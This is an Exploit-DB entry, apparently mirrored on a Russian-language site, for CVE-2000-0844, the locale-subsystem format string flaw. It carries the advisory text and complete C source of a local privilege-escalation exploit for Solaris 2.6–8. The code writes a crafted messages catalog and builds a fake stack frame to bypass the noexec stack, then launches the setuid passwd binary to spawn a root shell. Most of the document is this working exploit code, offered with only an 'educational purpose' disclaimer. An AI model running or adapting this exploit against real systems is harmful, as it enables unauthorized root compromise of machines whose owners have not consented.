- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 20186
- Проверка EDB
-
- Пройдено
- Автор
- WARNING3
- Тип уязвимости
- LOCAL
- Платформа
- SOLARIS
- CVE
- cve-2000-0844
- Дата публикации
- 2000-11-02
C:
/*
source: https://www.securityfocus.com/bid/1634/info
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,W***x Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.
*/
/* exploit for locale subsystem format strings bug In Solaris with noexec stack.
* Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g.
* ./ex -o -4 )
*
* $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
* usages: ./ex -h
*
* Thanks for Ivan Arce <[email protected]> who found this bug.
* Thanks for horizon's great article about defeating noexec stack for Solaris.
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by [email protected] (http://www.nsfocus.com)
* y2k/11/10
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>
#define BUFSIZE 2048 /* the size of format string buffer*/
#define BUFF 128 /* the progname buffer size */
#define SHELL "/bin/ksh" /* shell name */
#define DEFAULT_NUM 68 /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44 /* default retloc address */
#define VULPROG "/usr/bin/passwd" /* vulnerable program name */
void usages(char *progname)
{
int i;
printf("Usage: %s \n", progname);
printf(" [-h] Help menu\n");
printf(" [-n number] format string's number\n");
printf(" [-a align] retloc buffer alignment\n");
printf(" [-o offset] retloc offset\n\n");
}
/* get current stack point address to guess Return address */
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *pattern, retlocbuf[BUFF], *env[11];
char plat[BUFF], *ptr;
long sh_addr, sp_addr, i;
long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM, align = 0, offset=0;
long *addrptr;
long reth, retl, reth1, retl1;
FILE *fp;
extern int optind, opterr;
extern char *optarg;
int opt;
void *handle;
long execl_addr, fp_addr, fp1_addr;
char fakeframe[512];
char padding[64], pad = 0;
int env_len, arg_len, len;
char progname[BUFF];
strncpy(progname, argv[0], BUFF-1);
while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
switch((char)opt)
{
case 'n':
num = atoi(optarg);
break;
case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
case 'h':
default:
usages(progname);
exit(0);
}
retloc += offset;
/* get platform info */
sysinfo(SI_PLATFORM,plat,256);
/* Construct fake frame in environ */
env[0] = "NLSPATH=:.";
env[1] = padding; /* padding so that fakeframe's address can be divided by 4 */
/* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
env[2]=(fakeframe); /* sh_addr|sh_addr|0x00 */
env[3]=&(fakeframe[40]);/* |0x00 */
env[4]=&(fakeframe[40]);/* |0x00 */
env[5]=&(fakeframe[40]);/* |0x00 */
env[6]=&(fakeframe[44]);/* |fp2|fp2|fp2|fp2|fp2*/
env[7]=SHELL; /* shell strings */
env[8]=NULL;
/* calculate the length of "VULPROG" + argv[1] */
arg_len = strlen(VULPROG) + strlen("-z") + 2;
/* calculate the pad nummber .
* We manage to let the length of padding + arg_len + "NLSPATH=." can
* be divided by 4. So fakeframe address is aligned with 4, otherwise
* the exploit won't work.
*/
pad = 3 - (arg_len + strlen(env[0]) +1)%4;
memset(padding, 'A', pad);
padding[pad] = '\0';
/* get environ length */
env_len = 0;
for(i = 0 ; i < 8 ; i++ )
env_len += strlen(env[i]) + 1;
/* get the length from argv[0] to stack bottom
*
* +------------------------+-----------+--------+-----------+--------+
* |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
* +------------------------+-----------+--------+-----------+--------+
* ^ ^
* |__startaddr |__sp_addr
*
* "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
*
* I find "startaddr" always can be divided by 4.
* So we can adjust the padding's size to let the fakeframe address
* can be aligned with 4.
*
* len = length of "argv" + "env" + "platform" + "program name"
* if (len%4)!=0, sp_addr - startaddr = (len/4)*4 + 4
* if (len%4)==0, sp_addr - startaddr = len
* So we can get every entry's address precisely based on startaddr or sp_addr.
* Now we won't be bored with guessing the alignment and offset.:)
*/
len = arg_len + env_len + strlen(plat) + 1
+ strlen(VULPROG) + 1;
printf("len = %#x\n", len);
/* get stack bottom address */
sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
/* fp1_addr must be valid stack address */
fp1_addr = (sp_addr & 0xfffffac0);
/* get shell string address */
sh_addr = sp_addr - (4 - len%4) /* the trailing zero number */
- strlen(VULPROG) - strlen(plat) - strlen(SHELL) - 3 ;
printf("SHELL address = %#x\n", sh_addr);
/* get our fake frame address */
fp_addr = sh_addr - 8*8 - 1;
/* get execl() address */
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}
/* dec 4 to skip the 'save' instructure */
execl_addr -= 4;
/* check if the exec addr includes zero */
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}
printf("Using execl() address : %#x\n",execl_addr);
/* now we set up our fake stack frame */
addrptr=(long *)fakeframe;
*addrptr++= 0x12345678; /* you can put any data in local registers */
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++=sh_addr; /* points to our string to exec */
*addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */
*addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */
*addrptr++=fp1_addr; /* &fakeframe[44] */
*addrptr++=fp1_addr;
*addrptr++=fp1_addr;
*addrptr++=fp1_addr; /* we need this address to work */
*addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */
*addrptr++=0x0;
/* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);
printf("Using RETloc address = 0x%x, fp_addr = 0x%x ,align= %d\n", retloc, fp_addr, align );
/* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/
addrptr = (long *)retlocbuf;
for( i = 0 ; i < 8 ; i ++ )
*(addrptr + i) = 0x41414141;
*(addrptr + 1) = retloc - 4;
*(addrptr + 3) = retloc - 2;
*(addrptr + 5) = retloc ;
*(addrptr + 7) = retloc + 2;
if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
/* Let's make formats string buffer:
* |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|
*/
ptr = pattern;
memset(ptr, 'A', 32);
ptr += 32;
for(i = 0 ; i < num ; i++ ){
memcpy(ptr, "%.8x", 4);
ptr += 4;
}
reth = (fp_addr >> 16) & 0xffff ;
retl = (fp_addr >> 0) & 0xffff ;
reth1 = (execl_addr >> 16) & 0xffff ;
retl1 = (execl_addr >> 0) & 0xffff ;
/* Big endian arch */
sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
(reth - num*8 -4*8 + align ), (0x10000 + retl - reth),
(0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));
if( !(fp = fopen("messages.po", "w+")))
{
perror("fopen");
exit(1);
}
fprintf(fp,"domain \"messages\"\n");
fprintf(fp,"msgid \"%%s: illegal option -- %%c\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
fclose(fp);
system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");
/* thanks for z33d's idea.
* It seems we have to do like this in Solaris 8.
*/
i=open("./SUNW_OST_OSLIB",O_RDWR);
/* locate the start position of formats strings in binary file*/
lseek(i, 62, SEEK_SET);
/* replace the start bytes with our retlocbuf */
write(i, retlocbuf + align, 32 - align);
close(i);
execle(VULPROG, VULPROG, "-z", NULL, env);
} /* end of main */- Источник
- www.exploit-db.com
